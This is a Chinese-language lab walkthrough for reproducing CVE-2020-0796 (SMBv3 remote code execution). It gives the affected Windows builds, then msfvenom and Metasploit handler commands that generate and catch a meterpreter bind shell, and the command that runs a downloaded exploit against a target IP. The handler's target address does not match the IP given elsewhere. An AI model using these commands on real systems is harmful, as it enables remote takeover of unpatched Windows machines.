CVE-2020-0796—远程代码执行漏洞

一、漏洞名称：

　　微软SMBv3 Client/Server - 远程代码执行漏洞——CVE-2020-0796

二、识别点：

　　445端口

三、影响范围：
　　Windows 10 Version 1903 for 32-bit Systems
　　Windows 10 Version 1903 for x64-based Systems
　　Windows 10 Version 1903 for ARM64-based Systems
　　Windows Server, Version 1903 (Server Core installation)
　　Windows 10 Version 1909 for 32-bit Systems
　　Windows 10 Version 1909 for x64-based Systems
　　Windows 10 Version 1909 for ARM64-based Systems
　　Windows Server, Version 1909 (Server Core installation)
四、漏洞危害：

　　高危

五、复现环境：

　　kail攻击机：192.168.43.239

　　靶机：192.168.43.136　

　　条件：win10；1903；4G以上（最好，2G也有成功的）；安全中心关闭；防火墙关闭；更新关闭；kail机python安装3.6版本。

　　　　

六、 复现步骤

　　1、在kail里用msfvenom生成python_shell，端口是4444

　　　　msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

　　

　　2、将生成的payload复制，替换下载的exp的py文件中的，并将buf改为USER_PAYLOAD 保存

　　

　　3、打开msf监听　　

　　use exploit/multi/handler
　　set payload windows/x64/meterpreter/bind_tcp
　　set lport 4444
　　set rhost 192.168.34.136
　　run

　　

　　4、运行exp，现实shellcode后，按下任意键，等待几分钟，msf上获取到shell。

　　python3.6 exploit.py -ip 192.168.43.136